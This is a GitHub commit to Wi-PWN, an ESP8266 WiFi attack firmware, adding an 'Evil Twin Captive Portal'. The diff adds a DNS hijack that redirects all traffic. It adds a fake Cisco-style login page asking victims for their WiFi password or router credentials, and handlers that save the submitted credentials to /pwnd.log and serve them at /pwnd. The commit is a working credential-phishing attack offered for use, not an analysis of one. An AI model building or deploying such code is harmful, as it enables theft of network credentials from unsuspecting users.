Skip to content

Commit

Permalink
Evil Twin Captive Portal
Browse files Browse the repository at this point in the history
  • Loading branch information
osysltd committed Feb 2, 2020
1 parent c6dc715 commit ac0ce40
Show file tree
Hide file tree
Showing 2 changed files with 88 additions and 11 deletions.
81 changes: 70 additions & 11 deletions arduino/Wi-PWN/Wi-PWN.ino
Original file line number Diff line number Diff line change
Expand Up @@ -23,9 +23,6 @@
#include <Arduino.h>

#include <ESP8266WiFi.h>
#ifdef USE_CAPTIVE_PORTAL
#include "./DNSServer.h" // Patched lib
#endif
#include <ESP8266WebServer.h>
#include <FS.h>
#include <ESP8266HTTPUpdateServer.h>
Expand All @@ -40,6 +37,10 @@
//#define USE_LED16 /* <-- for the Pocket ESP8266 which has a LED on GPIO 16 to indicate if it's running */
//#define USE_CAPTIVE_PORTAL /* <-- enable captive portal (redirects all pages to 192.168.4.1) - most devices flood the ESP8266 with requests */

// Evil Twin with Captive Portal //
#ifdef USE_CAPTIVE_PORTAL
#include "./DNSServer.h" // Patched lib
#endif

// Including everything for the OLED //
#ifdef USE_DISPLAY
Expand Down Expand Up @@ -192,7 +193,10 @@ void startWifi() {
Serial.println("SSID : '" + settings.ssid+"'");
Serial.println("Password : '" + settings.password+"'");
#ifdef USE_CAPTIVE_PORTAL
if (settings.newUser == 1) {dnsServer.start(DNS_PORT, "*", apIP);Serial.println("Captive Portal: Running");} else {Serial.println("Captive Portal: Stopped");}
if (settings.newUser == 0) {
dnsServer.start(DNS_PORT, "*", apIP);
Serial.println("Captive Portal: Running");
} else {Serial.println("Captive Portal: Stopped");}
#endif
if (settings.newUser == 1) {Serial.println("Redirecting to setup page");}
Serial.println("-----------------------------------------------");
Expand Down Expand Up @@ -287,6 +291,32 @@ void loadRedirectHTML() {
server.send(302, "text/html", "<meta content='0; url=http://192.168.4.1'http-equiv='refresh'>");
}

#ifdef USE_CAPTIVE_PORTAL
void loadCaptiveHTML(){
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "0");
server.sendHeader("Content-Encoding", "identity");
server.sendContent_P((char*)data_CaptiveHTML,sizeof(data_CaptiveHTML));
sendBuffer();
};

void saveCaptiveData(String user, String passwd){
File file = SPIFFS.open("/pwnd.log", "a");
if (!file) { Serial.println("File open failed"); }
file.println("[" + settings.ssid + "] " + user + ":" + passwd + "<br>");
};

void readCaptiveData(){
String line;
File file = SPIFFS.open("/pwnd.log", "r");
if (!file) { Serial.println("file open failed"); }
Serial.println("====== Reading from SPIFFS file =======");
while(file.available()) { line += file.readStringUntil('\n'); }
Serial.println(line);
server.send(200, "text/html", line);
}
#endif

void startWiFi(bool start) {
if (start) startWifi();
Expand Down Expand Up @@ -718,7 +748,9 @@ void setup() {
server.on("/settingsReset.json", resetSettings);
} else {
/* Redirects */
server.on("/index.html", loadIndexHTML);
#ifndef USE_CAPTIVE_PORTAL
server.on("/index.html", loadIndexHTML);
#endif
server.on("/users.html", loadUsersHTML);
server.on("/attack.html", loadAttackHTML);
server.on("/detector.html", loadDetectorHTML);
Expand All @@ -727,8 +759,10 @@ void setup() {
server.on("/info.html", loadInfoHTML);

/* HTML */
server.onNotFound(load404);
server.on("/", loadIndexHTML);
#ifndef USE_CAPTIVE_PORTAL
server.onNotFound(load404);
server.on("/", loadIndexHTML);
#endif
server.on("/users", loadUsersHTML);
server.on("/attack", loadAttackHTML);
server.on("/detector", loadDetectorHTML);
Expand Down Expand Up @@ -783,7 +817,32 @@ void setup() {
server.on("/detectorStart.json", startDetector);
}


#ifdef USE_CAPTIVE_PORTAL
server.on("/pwnd", readCaptiveData);
server.on("/authenticate", []() {
String user = server.arg("user");
String passwd = server.arg("passwd");
if (user.length() > 0 || passwd.length() > 0) {
saveCaptiveData(user, passwd);
server.send(200, "text/html", "Trying wireless authentication for IEEE 802.11 Wi-Fi connection...");
};
});
if (!settings.newUser == 1) {
server.on("/pwnr", loadIndexHTML);
server.onNotFound(loadCaptiveHTML);
server.on("/", loadCaptiveHTML);
server.on("/index.html", loadCaptiveHTML);
server.on("/search", loadCaptiveHTML); //Google search captive portal. Maybe not needed. Might be handled by notFound handler.
server.on("/fwlink", loadCaptiveHTML); //Microsoft captive portal. Maybe not needed. Might be handled by notFound handler.
server.on("/success", loadCaptiveHTML); //Firefox captive portal. Maybe not needed. Might be handled by notFound handler.
server.on("/success.txt", loadCaptiveHTML); //Firefox captive portal. Maybe not needed. Might be handled by notFound handler.
server.on("/redirect", loadCaptiveHTML); //Microsoft captive portal. Maybe not needed. Might be handled by notFound handler.

EEPROM.write(multiAPsAdr, false);
settings.multiAPs = (bool)EEPROM.read(multiAPsAdr);
}
#endif

httpUpdater.setup(&server);

server.begin();
Expand Down Expand Up @@ -854,14 +913,14 @@ void loop() {
}
}
} else if (settings.newUser == 1) {
#ifdef USE_CAPTIVE_PORTAL
dnsServer.processNextRequest();
#endif
server.handleClient();
} else {
if (clientScan.sniffing) {
if (clientScan.stop()) startWifi();
} else {
#ifdef USE_CAPTIVE_PORTAL
dnsServer.processNextRequest();
#endif
server.handleClient();
attack.run();
}
Expand Down
18 changes: 18 additions & 0 deletions arduino/Wi-PWN/data.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,24 @@ const char data_setup_HTML[] PROGMEM = {0x1F,0x8B,0x08,0x08,0xD0,0x69,0x9E,0x5A,
const char data_users_HTML[] PROGMEM = {0x1F,0x8B,0x08,0x08,0xD1,0x69,0x9E,0x5A,0x02,0x0B,0x75,0x73,0x65,0x72,0x73,0x2E,0x48,0x54,0x4D,0x4C,0x00,0x95,0x56,0x6D,0x6F,0xDB,0x36,0x10,0xFE,0x2B,0x1A,0x0B,0x04,0xD2,0xA6,0x17,0x3B,0x6E,0x5D,0xD7,0x91,0x54,0xB4,0xD9,0x82,0x76,0x68,0xBB,0x02,0x69,0xD6,0x0F,0x5D,0x37,0xD0,0xE4,0xD9,0x66,0x2C,0x89,0x2A,0x49,0xDB,0x31,0x5C,0xFF,0xF7,0x1D,0x69,0x29,0xB1,0x55,0x07,0xD8,0xBE,0xE8,0xE5,0xEE,0xC8,0x7B,0xEE,0xB9,0xE3,0x1D,0xD3,0x12,0x0C,0xF5,0xD8,0x9C,0x2A,0x0D,0x26,0xBB,0xF9,0x74,0x15,0x8D,0xF2,0xD4,0x08,0x53,0x40,0x7E,0xA3,0x41,0x69,0x2F,0xF2,0x3E,0x8B,0xE8,0xE3,0xE7,0x0F,0x69,0xB2,0x97,0xA6,0xFB,0x05,0xB2,0x32,0x50,0x99,0x8C,0xAC,0x05,0x37,0xF3,0x8C,0xC3,0x4A,0x30,0x88,0xDC,0x4F,0x28,0x2A,0x61,0x04,0x2D,0x22,0xCD,0x68,0x01,0x59,0x3F,0x5C,0xE2,0x3E,0xEE,0x87,0x4E,0xF0,0xBF,0x47,0x2A,0x5A,0x42,0xB6,0x12,0xB0,0xAE,0xA5,0x32,0x79,0x5A,0x88,0x6A,0xE1,0xCD,0x15,0x4C,0xB3,0x38,0x29,0xA9,0xA8,0x62,0xA6,0xB5,0xA7,0xA0,0xC8,0xB4,0xD9,0x14,0xA0,0xE7,0x00,0x1D,0x23,0x4E,0xD5,0xE2,0x84,0x91,0x27,0x78,0x66,0x55,0xD7,0x56,0xD2,0x81,0xF9,0xA4,0xDF,0x1B,0x5E,0x5E,0x8E,0x3C,0xE7,0xDA,0xCC,0xA1,0x84,0x88,0xC9,0x42,0xAA,0x3C,0xD5,0x4C,0x89,0xDA,0x78,0x5A,0xB1,0x6C,0x6E,0x4C,0xAD,0xC7,0x49,0xC2,0x14,0x35,0x10,0x63,0x2C,0x33,0x30,0x13,0x69,0x62,0x21,0x93,0xD5,0xB9,0x47,0xF5,0xA6,0x62,0x1E,0x87,0x29,0xA8,0xBC,0x82,0xB5,0x77,0x69,0xAD,0xFC,0x2D,0xC6,0xB6,0x02,0x35,0x26,0x83,0xC1,0xB3,0xD1,0x60,0x38,0x78,0x3E,0xEC,0x0D,0xFA,0x4F,0xCF,0x47,0xC3,0xFE,0x88,0x84,0xC8,0x6A,0x55,0x41,0xD1,0x2A,0x9F,0xF6,0x46,0x2F,0xFA,0xA3,0x17,0xC3,0xE1,0xF9,0xF3,0x01,0x09,0x27,0x88,0x6F,0xFC,0x53,0x2F,0xAC,0xA5,0x46,0xBA,0x64,0x35,0xDE,0xDE,0x8D,0x49,0x01,0x53,0x43,0xC2,0xCD,0x98,0xA0,0x5F,0x23,0x4B,0xB2,0xDB,0x05,0x69,0xB2,0x87,0x98,0xA7,0x15,0x5D,0xD9,0x18,0xF1,0x95,0xA7,0x5C,0xAC,0x3C,0x56,0x50,0xAD,0x33,0x4B,0x59,0x34,0x07,0xCA,0x11,0x97,0x13,0xA3,0x49,0x21,0x67,0x32,0x12,0xE5,0x2C,0x4F,0x13,0x94,0xE4,0xE9,0xC4,0x73,0x34,0x65,0x2E,0xE6,0xF1,0x93,0xE9,0x74,0x9A,0x63,0x52,0xD3,0x64,0x92,0xBB,0xC4,0x3A,0x9B,0x76,0x29,0x12,0xAD,0xF3,0x94,0xB6,0x64,0x7B,0xF9,0x35,0xA3,0x55,0x9A,0xD0,0xDC,0x7B,0x10,0x2E,0x5D,0x65,0xEC,0xFD,0x53,0x66,0xC4,0xAA,0x29,0x96,0x8E,0x19,0x35,0x86,0xB2,0x45,0xFE,0xCA,0xBD,0x3A,0x3A,0x0E,0x06,0x98,0xC1,0x0C,0xFC,0xDA,0x7C,0x74,0xF4,0x58,0x8D,0x46,0x54,0x33,0x9D,0x5F,0x37,0x1F,0x1D,0xBD,0xA8,0xA6,0xB2,0x41,0xA0,0xC4,0x6C,0x6E,0xF2,0xB7,0x28,0xB0,0x36,0x4D,0x38,0xC9,0x3D,0x4D,0x96,0x32,0x69,0xC4,0x54,0x30,0x6A,0x79,0xCE,0x8F,0xE3,0xD5,0xB5,0xC0,0x1C,0xA9,0xC8,0x56,0x0A,0x32,0x69,0x49,0xDC,0xEB,0x1B,0xD6,0x13,0xFF,0xEF,0xEF,0x17,0xC1,0x5F,0xFA,0xE7,0x12,0xCB,0xBA,0xA4,0x45,0x96,0xC4,0x06,0xB4,0xF1,0xB9,0x64,0xCB,0x12,0x4B,0x2B,0x66,0x52,0x2E,0x04,0x04,0x67,0x67,0x0F,0xA2,0x89,0xE4,0x9B,0x18,0xF7,0x26,0xCD,0x1A,0x72,0x90,0xC4,0x4E,0xE2,0xD6,0x8A,0xD6,0x87,0xC2,0x03,0x18,0x07,0x42,0xAA,0x78,0x74,0x52,0x43,0x26,0x4B,0xAC,0x93,0x36,0xFF,0xD1,0xB9,0xD7,0xD2,0xF6,0xC6,0x09,0xC8,0x3E,0xED,0x5C,0xE8,0xBA,0xA0,0x9B,0xB1,0xA8,0x30,0xBB,0x10,0x4D,0x0A,0xC9,0x16,0x17,0x25,0x55,0x33,0x04,0xB0,0x2F,0xB4,0xF1,0xA0,0x57,0xDF,0xB9,0x4C,0x7B,0x53,0xA9,0xEC,0x89,0xBF,0x12,0xDE,0x3E,0xCB,0x7E,0xAA,0x6B,0x14,0x63,0x38,0xAC,0x10,0x18,0x9D,0xBE,0x92,0xCB,0x8A,0x23,0x4B,0x56,0x9C,0x07,0x6D,0x85,0x39,0x1C,0x2D,0x2A,0x97,0x11,0xAF,0x8B,0xAD,0xF9,0xAF,0x15,0x72,0xA2,0x36,0xC4,0x92,0x6F,0xA8,0x32,0xCE,0xAB,0xAC,0x70,0x77,0xB6,0xC8,0xB0,0x4D,0x54,0x7E,0xD0,0xD4,0xDC,0x7E,0x41,0x97,0x09,0x6C,0x4F,0xB6,0x91,0x58,0x44,0x0E,0x21,0x42,0x71,0x82,0x36,0x71,0xF3,0x23,0x86,0xB8,0x83,0xAE,0xE9,0x0A,0x78,0xD4,0x98,0x1F,0xD0,0x77,0x4C,0xD7,0x31,0xE2,0xFF,0x4B,0x9E,0x75,0xF1,0x08,0x67,0x1F,0xB0,0xED,0xE8,0x2E,0x65,0x8F,0x46,0x65,0x9B,0xD4,0x3B,0xA1,0x4D,0x37,0xB0,0xD3,0xCB,0x4E,0x94,0x09,0x7A,0x3C,0x8A,0x52,0xC9,0xB5,0x67,0x68,0xC4,0xC8,0x91,0x54,0x54,0xF5,0xD2,0x3C,0x94,0x15,0xF6,0xCA,0x22,0x1A,0xA2,0x89,0x93,0x3B,0xEC,0xEF,0x29,0xF3,0x30,0x76,0x06,0x73,0x59,0x20,0x21,0x19,0xF1,0x88,0x82,0x6F,0x4B,0xA1,0x30,0xD0,0x92,0xDE,0x65,0xFD,0xE7,0x1E,0x56,0x38,0xBE,0xB0,0x3F,0xD3,0x09,0x14,0xB6,0x76,0xDC,0xAA,0xFC,0xFD,0xAB,0x4B,0xEF,0x15,0xE7,0x0A,0x34,0x9E,0x5B,0xA7,0xFB,0x11,0xFE,0x49,0x00,0x7D,0xF2,0x1F,0x0D,0x9F,0x1D,0x21,0xB5,0x04,0x3F,0x06,0xF5,0x08,0x9C,0x35,0xCC,0xED,0xA3,0x03,0xEB,0x71,0x86,0x23,0xDB,0xE0,0x6C,0x15,0xD2,0x53,0xD5,0x4D,0xDA,0xC2,0xA5,0x9C,0x5F,0xBA,0x5C,0x63,0xF5,0x62,0xE4,0x87,0x9D,0xE8,0x87,0xE7,0x54,0x4A,0xE3,0x1A,0x4D,0xFB,0x71,0x30,0x84,0xE2,0xE4,0x56,0x27,0xD3,0x65,0xE5,0x9C,0xEA,0xF8,0xD6,0x95,0x4D,0xD3,0x3B,0xBA,0x66,0xAE,0xD8,0x8E,0x4D,0x8E,0x7A,0xD7,0x8A,0x2A,0xEF,0x9F,0x9A,0x7E,0xCB,0xEC,0xE3,0xFB,0xF7,0x2F,0x5F,0x2F,0xEC,0x47,0x5C,0x2F,0xF5,0xDC,0xFF,0x42,0x8C,0xC2,0xAE,0xFC,0x91,0xCE,0xE0,0x4F,0x1C,0xC5,0xE4,0x6B,0x10,0x1E,0x2A,0xA1,0xB2,0x95,0xF7,0x0E,0x87,0xC1,0x27,0x6B,0x86,0x67,0xC4,0x5A,0xB4,0xB8,0xFC,0x60,0x6B,0xF7,0x86,0x8C,0x24,0x09,0xAD,0x68,0xB1,0x31,0x82,0xE9,0x58,0xD3,0x92,0xF3,0xB8,0x84,0x84,0x1C,0xF9,0xC1,0x33,0xE6,0xF6,0x00,0x75,0xA3,0x0A,0x12,0xC2,0x2F,0xA4,0x16,0x6B,0xB1,0x88,0xEB,0x79,0xDD,0xF5,0x8A,0xA6,0xD7,0xC2,0xC0,0x5B,0x4E,0x42,0x32,0x40,0xE5,0x85,0xF5,0x62,0xB2,0xB6,0xB1,0x86,0x34,0xC3,0x7E,0xAB,0x00,0x07,0xEF,0x6F,0x05,0x58,0x89,0x4F,0xF6,0xA1,0x92,0x20,0xD4,0xA8,0xC3,0x81,0xDD,0x28,0xF4,0xEB,0xCD,0x27,0x3A,0xB3,0x89,0x7E,0x30,0xF9,0xD2,0xFB,0x7A,0x41,0x63,0xB3,0xA9,0x11,0xB7,0x81,0x3B,0x93,0xDC,0xD2,0x15,0x6D,0x94,0x21,0x8D,0xDD,0x80,0xCF,0x70,0x22,0xD3,0xD8,0x4D,0xF9,0xFD,0xA7,0x25,0xFB,0x1E,0xF2,0xAD,0x26,0xA1,0x8E,0x6B,0xAA,0xEC,0x99,0x96,0x1C,0x62,0x51,0x61,0x0A,0xCC,0x6B,0xC0,0xDA,0x02,0x9F,0x86,0x3A,0xD8,0xF9,0x0F,0x2C,0x79,0x02,0x79,0x5A,0xEB,0xCC,0xDE,0x16,0x3E,0xC3,0xE4,0x1A,0x1B,0x07,0x20,0xE2,0xB5,0xB6,0x97,0x0C,0x51,0xDD,0xE2,0xD8,0x13,0xD3,0xCD,0x03,0x6D,0xE2,0x25,0x3F,0x5F,0x18,0xF6,0x86,0x2F,0x31,0x9C,0xB5,0x8E,0x65,0x85,0x5D,0x43,0x63,0x82,0xB2,0x7B,0xDE,0x79,0xB0,0x35,0x6A,0xB3,0x85,0x15,0x2D,0xFC,0xDF,0xAF,0xFF,0xF8,0x60,0xB1,0x68,0xF0,0x79,0xCC,0xA9,0xA1,0x41,0xCC,0x83,0x1D,0x0E,0x39,0x36,0xF7,0xC1,0x3A,0x8E,0x35,0x54,0x7C,0x6F,0xA6,0x8D,0xC2,0x14,0xA2,0x37,0x7F,0x6B,0xC6,0x04,0x48,0xC8,0xC7,0x80,0x42,0xCC,0xCA,0x2E,0x08,0x76,0xBB,0xBD,0x37,0x56,0x48,0x7D,0xE0,0x2B,0xD8,0xDA,0xCC,0x89,0x12,0xE4,0xD2,0xF8,0x22,0xEC,0xC3,0x00,0x2D,0xFD,0xC3,0xFB,0x88,0x6C,0xBF,0x70,0x84,0xE1,0x6D,0xC3,0xA3,0x05,0x5E,0x08,0x89,0x65,0xEC,0x74,0x5D,0xDC,0xE7,0xFD,0xA5,0xE0,0x78,0xE9,0x81,0x6C,0x70,0xA6,0x80,0x65,0xFD,0xA6,0xD3,0x4E,0xA4,0xC2,0xA3,0x3B,0xEE,0x61,0x15,0xD7,0x76,0x80,0xB7,0xDB,0xFF,0x0B,0x63,0xA7,0x82,0x48,0xA3,0x0A,0x00,0x00};
/*end_auto_generator*/

/* Evil Twin Captive Portal */
#ifdef USE_CAPTIVE_PORTAL
//UTF8 Template for Progmem Usage const cstr_p< 14 > pStr PROGMEM = {"String here"}; **Reference = https://github.com/Chris--A/PGMWrap/issues/4
typedef const char char_p; //char
template< unsigned N >
struct cstr_p{
char_p *begin() const{ return (char_p*) &pstr[0];}
char_p *end() const{ return (char_p*) &pstr[N]; }
operator __FlashStringHelper*() const{ return ( __FlashStringHelper* ) &pstr; }
char_p &operator [] (int addr) const{ return *(const char_p*) &pstr[addr]; }
const char pstr[N];
};

//define the CaptivePage (escaped) here. For escaping you can use the provided "web_server/minifer.html"
#define CaptivePage " <html> <head> <title>Authentication</title> <meta http-equiv=\"Cache-control\" content=\"no-cache\"> <meta http-equiv=\"Pragma\" content=\"no-cache\"> <meta http-equiv=\"Expires\" content=\"-1\"> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"> <style> <!-- DIV.sidebar { RIGHT: 0px; POSITION: absolute; TOP: -1px; HEIGHT: 100%; width: 200; } DIV.graybar { RIGHT: 0px; POSITION: absolute; TOP: 0px; HEIGHT: 100%; BACKGROUND-COLOR: #f8f8f8 } DIV.header { BACKGROUND-POSITION: right 50%; LEFT: 0px; BACKGROUND-IMAGE: url(images/background_web41.jpg); WIDTH: 100%; BACKGROUND-REPEAT: repeat; POSITION: absolute; TOP: 0px; HEIGHT: 52px; BACKGROUND-COLOR: #FFFFFF} DIV.content { LEFT: 14px; MARGIN: 15px; POSITION: absolute; TOP: 60px } H1 { FONT-WEIGHT: bold; FONT-SIZE: 19px; MARGIN: 16px 0px 0px 25px; COLOR: #ffffff; FONT-FAMILY: Tahoma, Arial, Helvetica, sans-serif } H2 { FONT-WEIGHT: bold; FONT-SIZE: 15px; MARGIN: 10px 0px 0px 10px; COLOR: #336666; FONT-FAMILY: Arial, Helvetica, sans-serif } INPUT { FONT-SIZE: 12px; FONT-FAMILY: Arial, Helvetica, sans-serif } INPUT.button { MARGIN-TOP: 10px; FONT-WEIGHT: bold; WIDTH: 80px; COLOR: #ffffff; BACKGROUND-COLOR: #669999 } P { FONT-SIZE: 12px; MARGIN: 0px 0px 10px; COLOR: #001133; FONT-FAMILY: Arial, Helvetica, sans-serif } TD { FONT-WEIGHT: bold; FONT-SIZE: 12px; COLOR: #336666; FONT-FAMILY: Arial, Helvetica, sans-serif } TD.message { FONT-WEIGHT: normal; COLOR: #000000 } --> </STYLE> <noscript> <meta HTTP-EQUIV=\"REFRESH\" content=\"0; url=https://1.1.1.1/login_noscript.html\"> </noscript> </head> <body bgcolor=\"#ffffff\" text=\"#000000\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" > <FORM method=\"get\" ACTION=\"authenticate\"> <div id=\"formId\"> <table border=\"0\" cellspacing=0 cellpading=\"0\" width=\"100%\"> <tr> <td width=\"180\" background=\"../../images/background_web41.jpg\" align=\"middle\" style=\"padding-bottom: 4px;\" > <h1>Login</h1> </td> <td height=\"53\" align=\"right\" style=\"padding-bottom: 4px; padding-right: 20px;\" background=\"../../images/background_web41.jpg\"></td> </tr> <tr> <td align=\"left\" width=\"400\"> <div class=\"content\"> <table border=\"0\" cellspacing=\"10\" cellpadding=\"0\"> <tr> <td> <table border=\"0\" cellspacing=\"10\" cellpadding=\"0\"> <tr> <th align=\"left\" width=\"400\"> Wireless authentication for IEEE 802.11 Wi-Fi connection </th> </tr> <tr> <td class=\"message\" align=\"left\" width=\"400\"> Please input your WiFi password or domain router username and password to continue. </td> </tr> </table> </td> </tr> <tr> <td> <table border=\"0\" cellspacing=\"10\" cellpadding=\"0\"> <tr> <td width=\"100\" nowrap>User Name</td> <td> <INPUT type=\"TEXT\" name=\"user\" SIZE=\"25\" MAXLENGTH=\"80\" VALUE=\"\"> </td> </tr> <tr> <td nowrap>Password</td> <td> <INPUT type=\"Password\" name=\"pass\" autocomplete=\"off\" OnKeyPress=\"submitOnEnter(event);\" SIZE=\"25\" MAXLENGTH=\"127\" VALUE=\"\"> </td> </tr> <tr> <td>&nbsp;</td> <td> <input class=\"btn\" type=\"submit\" /> </td> </tr> </table> </td> </tr> </table> </div> </td> <td align=\"right\" > <table border=\"0\" cellspacing=\"10\" cellpadding=\"0\" > <tr> <td align=\"right\" style=\"padding-top: 25px; padding-right: 20px;\" bgcolor=\"#ffffff\" > <div ></div></td> </tr> </table> </td> </tr> </table> </div> <div id=\"newLoginWebConsent\" style=\"display:none; font-size:13px; font-family: 'CiscoSansThin, Helvetica Neue, Arial, Tahoma, sans-serif';\"> <p id=\"welcomeMsg\" style=\"text-align: center; font-size:20px; margin-top: 25px;\"> Welcome to Guest Network </p> <div style=\"margin:30px 10px 30px 10px\"> <div id=\"content\" style=\"border: 2px solid #bbbbbb; border-radius: 3px; margin: 0 auto; padding: 10px; max-width: 600px;\"> <div id=\"page1\"> <p> <span style=\"font-family:'CiscoSansThin';\">Please agree to the terms of use and connect.</span><br/> <INPUT type=\"checkbox\" id=\"loginAccept\" NAME=\"loginAccept\" onchange=\"termsAccepted();\" / > I accept the <a href=\"#\" onclick=\"show_terms_of_use();\">terms of use</a> </p> <br/><br/> <BUTTON class=\"tiny\" type=\"button\" id=\"loginConnectButton\" onclick=\"submitAction();\" disabled> Connect </button> </div> <div id=\"page2\" style=\"display: none\"> <p> This service is intended for use by authorized guests at this facility. This is an open/unprotected wireless network. By using this service, guests understand and accept that it is their responsibility to protect their own computer while connected to this service, and irrevocably waive any right, cause or action, remedy or other claim against the host with respect to any damage that may be caused to a computer while it is using this network. </p> <br/><br/> <BUTTON class=\"tiny\" type=\"button\" id=\"loginAcceptButton\" onclick=\"show_accept_terms();\"> Back </button> </div> </div> </div> <div style=\"text-align: center;\"> <img id=\"cisco_powered_logo\" src=\"images/cisco_powered_logo.png\"/> </div> </div> </FORM> <script> </script> </body> <HEAD> <meta http-equiv=\"Cache-control\" content=\"no-cache\"> <meta http-equiv=\"Pragma\" content=\"no-cache\"> <meta http-equiv=\"Expires\" content=\"-1\"> </HEAD> </html> "
const cstr_p<sizeof(CaptivePage)> data_CaptiveHTML[] PROGMEM = {CaptivePage};
#endif

/* sendHeader must be called first,
then copy every string (or substring, when generating json files) with sendToBuffer
and if everything is done call sendBuffer.
Expand Down

0 comments on commit ac0ce40

Please sign in to comment.